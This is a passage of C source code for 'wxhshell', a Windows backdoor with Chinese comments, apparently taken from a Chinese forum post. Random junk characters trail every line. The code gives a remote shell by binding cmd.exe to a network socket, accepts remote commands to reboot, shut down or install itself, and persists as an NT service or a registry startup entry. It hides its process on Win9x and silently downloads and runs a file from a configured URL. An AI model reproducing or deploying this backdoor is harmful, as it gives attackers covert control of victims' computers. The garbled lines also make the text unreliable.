    switch(cmd[0]) { ';<gc5EK  
  rfj>/?8!@  
  // 帮助 cbsU!8  
  case '?': { `x%( n@g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L<8:1/d\  
    break; h,QC#Ak o  
  } H$GJpXIb  
  // 安装 Ej |rf Y  
  case 'i': { Cbw@:+%J{  
    if(Install()) yc ize2>q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hqsj5j2i  
    else doeYc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ks{y=@ <,  
    break; Qe8F(k~k  
    } B[2 qI7D$  
  // 卸载 ean_/E  
  case 'r': { +v$,/~$tI  
    if(Uninstall()) 2|Of$oMc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dw6U}  
    else hRKAs ]^j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GJ1ap^k  
    break; Ns3k(j16  
    } kY e3A &J  
  // 显示 wxhshell 所在路径 vE4ce  
  case 'p': { T&@xgj|!)  
    char svExeFile[MAX_PATH]; kl(id8r  
    strcpy(svExeFile,"\n\r"); ){'Ef_/R  
      strcat(svExeFile,ExeFile); UvR F\x%  
        send(wsh,svExeFile,strlen(svExeFile),0); Q[5j5vry  
    break; jS_fwuM  
    } A}./ ;[  
  // 重启 (~}P.?C8  
  case 'b': { Atdr|2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sxn#  
    if(Boot(REBOOT)) m*'^*#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Fd<@w Q0  
    else { 6 GL.bS  
    closesocket(wsh); 6xDYEvHS  
    ExitThread(0); eN]AJ%Ig  
    } ;;A8*\*$  
    break; ? zFeP6C  
    } .O h4b5  
  // 关机 }@+3QHwYU  
  case 'd': { -eZ$wn![  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pb>TUKvT&  
    if(Boot(SHUTDOWN)) =IbDGw(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V5]}b[X  
    else { q\0CS>.  
    closesocket(wsh); P1gW+*?  
    ExitThread(0); QJeL&mf  
    } @/(\YzQvp]  
    break;  j<BW/  
    } nTy8:k']  
  // 获取shell @e`%'  
  case 's': { P@LFX[HtM  
    CmdShell(wsh); {Kbb4%P+h  
    closesocket(wsh); 9FGe (t <  
    ExitThread(0); H<Ne\zAv  
    break; MKl`9 Y3Ge  
  } t[dOWgHi  
  // 退出 !+<OED=qe  
  case 'x': { #8cpZ]#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fu=GgD*  
    CloseIt(wsh); >g{ w,  
    break; v--Qbu  
    } s *8)|N  
  // 离开 V8C62X  
  case 'q': { C i?BJ,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !Dc|g~km\  
    closesocket(wsh); *VP-fyJp  
    WSACleanup(); :!'!V>#g  
    exit(1); )U2cS\k'7n  
    break; <6!;mb ;cX  
        } %>)HAx `  
  } 4Go$OQ`  
  } ls;!Og9  
`rWT^E@p5m  
  // 提示信息 =yR$^VSY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vzXfJP  
} B_kjy=]O.  
  } 006 qj.  
|H .  
  return; 8LPvb#9=  
} j\LJ{?;jC  
O ,9,= 2j  
// shell模块句柄 Ifx EM  
int CmdShell(SOCKET sock) ;2&ym)`  
{ oe4r_EkYwW  
STARTUPINFO si; 0 %W0vTvL  
ZeroMemory(&si,sizeof(si)); p;x3gc;0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5#WyI#YNG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u/ Gk>F  
PROCESS_INFORMATION ProcessInfo; ='[J.  
char cmdline[]="cmd"; @L-] %C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gP 13n!7  
  return 0; ,UveH` n-  
} Vm"{m/K0  
M^6!{c=MIi  
// 自身启动模式 17C"@1n-  
int StartFromService(void) b}-/~l-:  
{ [_X.Equ  
typedef struct (fTi1 I!  
{ 4nz$J a)  
  DWORD ExitStatus; /[FES 78p  
  DWORD PebBaseAddress; jE#&u DfI  
  DWORD AffinityMask; &*\-4)Tf  
  DWORD BasePriority; \'>8 (i~  
  ULONG UniqueProcessId; (+x!wX( x  
  ULONG InheritedFromUniqueProcessId; c]x'}K c  
}   PROCESS_BASIC_INFORMATION; 8o7%qWX  
FSNzBN  
PROCNTQSIP NtQueryInformationProcess; Z37%jdr  
k@Q>(`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iq% 0fX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r;"uk+{i  
9^zA(  
  HANDLE             hProcess; wRCv?D`vV  
  PROCESS_BASIC_INFORMATION pbi; :9.QhY)D  
BXx l-x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B s{n  
  if(NULL == hInst ) return 0; qJZ:\u8oO  
D&]dlY@*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !C>'a:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "3H?_!A9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); km=d'VvnI  
9bb 5?b/  
  if (!NtQueryInformationProcess) return 0; Gc0/*8u/  
k0>]7t$L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VM"z6@  
  if(!hProcess) return 0; ?,AWXiif  
(\A~SKEX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Eq82?+9  
K."h}f95  
  CloseHandle(hProcess); J.g4I|{  
Lk8NjK6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M?3#XQDvD  
if(hProcess==NULL) return 0; us2RW<Oxv  
8(kP=   
HMODULE hMod; =.9uuF:  
char procName[255]; wx*)7Y*  
unsigned long cbNeeded; :dM eNM-  
]*\m@lWu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {T(z@0Xu  
]R7zvcu&  
  CloseHandle(hProcess); 7TaHE   
lr-:o@q{  
if(strstr(procName,"services")) return 1; // 以服务启动 "i1r9TLc  
nLjc.Z\Bl  
  return 0; // 注册表启动 fo$A c  
} LE>b_gQ$ 2  
YjTA+1}  
// 主模块 +^tw@b  
int StartWxhshell(LPSTR lpCmdLine) "U6:z M  
{ *(*3/P4D  
  SOCKET wsl; r[votdFo  
BOOL val=TRUE; jxdxIkAHZc  
  int port=0; j?gsc Q3  
  struct sockaddr_in door; HLp9_Y{X.  
[;*Vm0>t  
  if(wscfg.ws_autoins) Install(); tiHP? N U  
 aa10vV  
port=atoi(lpCmdLine); .C7;T'>!  
%yJ $R2%*y  
if(port<=0) port=wscfg.ws_port; pQ/ bIuq  
 uZA^o  
  WSADATA data; [7|j:!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hq[RU&\  
ZA! yw7~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   * U#@M3g.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ),#hBB`ZA  
  door.sin_family = AF_INET; V/@?KC0B5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qk_` IlSd  
  door.sin_port = htons(port); cV+ x.)a.  
B6hd*f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ohe* m[  
closesocket(wsl); Gi*GFv%xB  
return 1; 3.vQ~Fvl  
} Pcox~U/j  
Y#[>j4<T  
  if(listen(wsl,2) == INVALID_SOCKET) { YLO/J2['  
closesocket(wsl); "2FI3M =  
return 1; Z-wvdw]$  
} v *UJ4r  
  Wxhshell(wsl); |fTWf}Jx  
  WSACleanup(); tUR9ti  
~~D =Z#  
return 0; 60`4 _Uy]_  
2-#:Y  
} lAcXi$pF  
qV`JZ\n  
// 以NT服务方式启动 =O?#>3A}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rt5eN:'qY  
{ 7vf?#^ RlV  
DWORD   status = 0; 5|^{t00T~  
  DWORD   specificError = 0xfffffff; LtDQgel"  
%C^%Oq_k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c'8a)j$$+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FID4@--  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i8Y$cac!  
  serviceStatus.dwWin32ExitCode     = 0; -Ze{d$  
  serviceStatus.dwServiceSpecificExitCode = 0; V7qc9Gd@I  
  serviceStatus.dwCheckPoint       = 0; 9^5D28y  
  serviceStatus.dwWaitHint       = 0; `T \"B%  
N1Pm4joH%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v1E=P7}\{s  
  if (hServiceStatusHandle==0) return; AvNU\$B4aG  
!^ /Mn  
status = GetLastError(); k5=VH5{S  
  if (status!=NO_ERROR) 4\6-sL?rW  
{ aYyUe>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  t=;84lA  
    serviceStatus.dwCheckPoint       = 0; d*A(L5;@  
    serviceStatus.dwWaitHint       = 0; 1p[Z`m*9  
    serviceStatus.dwWin32ExitCode     = status; 3nJd0E  
    serviceStatus.dwServiceSpecificExitCode = specificError; i47xF7y\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <e :2DB&  
    return; clwJ+kku@  
  } / W,K% s]  
W"@FRWcd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aeBA`ry"B  
  serviceStatus.dwCheckPoint       = 0; +&p}iZp  
  serviceStatus.dwWaitHint       = 0; { _]'EK/w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BRx`83CK  
} Jrkj foN  
:Gdfpz-{?  
// 处理NT服务事件,比如:启动、停止 F9|\(St &  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nnZ|oEF  
{ 0K&\5xXM  
switch(fdwControl) 8jnz;;|  
{ 5$T>noD  
case SERVICE_CONTROL_STOP: _(q|W3  
  serviceStatus.dwWin32ExitCode = 0; onuhNn_=>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zgdOugmmt_  
  serviceStatus.dwCheckPoint   = 0; >9S@:?^&q>  
  serviceStatus.dwWaitHint     = 0; XU}|Ud562  
  { cN{-&\ 6L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Fy f4^0  
  } Q6?}/p  
  return; c 4<~? L  
case SERVICE_CONTROL_PAUSE: S&C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _l`s}yC  
  break; r# }`{C;+5  
case SERVICE_CONTROL_CONTINUE: M=}vDw]Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I#]$H#}Av  
  break; 6tE<`"P!  
case SERVICE_CONTROL_INTERROGATE: `z=I}6){  
  break; COx<X\  
}; 2#n4t2 p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 39W6"^q"o  
} {&'u1yR  
Daa2.*  
// 标准应用程序主函数 OOEmXb]8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WheJ 7~  
{ ?Afx{H7  
Lmy ^/P%  
// 获取操作系统版本 BVx: JiA  
OsIsNt=GetOsVer(); ccWz,[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T5eXcI0t  
rmCrP(  
  // 从命令行安装 ~ituPrH%<  
  if(strpbrk(lpCmdLine,"iI")) Install(); GRanR'xG  
L`yyn/2>  
  // 下载执行文件 U20G{%%  
if(wscfg.ws_downexe) { HR85!S`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o9!DK  
  WinExec(wscfg.ws_filenam,SW_HIDE); pcM'j#;  
} <}c`jN!z.  
[TPr  
if(!OsIsNt) { X*2M Nx^K~  
// 如果时win9x,隐藏进程并且设置为注册表启动 nj*B-M\p  
HideProc(); FTtGiGd|Zy  
StartWxhshell(lpCmdLine); [~;#]az  
} _5^p+  
else _MZqH8  
  if(StartFromService()) 7XE/bhe%S  
  // 以服务方式启动 3 *G 7H  
  StartServiceCtrlDispatcher(DispatchTable); I$4GM  
else jXO*_R  
  // 普通方式启动 :^DuB_  
  StartWxhshell(lpCmdLine); $/%|0tQ  
eKlh }v  
return 0; A f@IsCOJ  
}
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只看该作者 1 发表于: 2006-10-10
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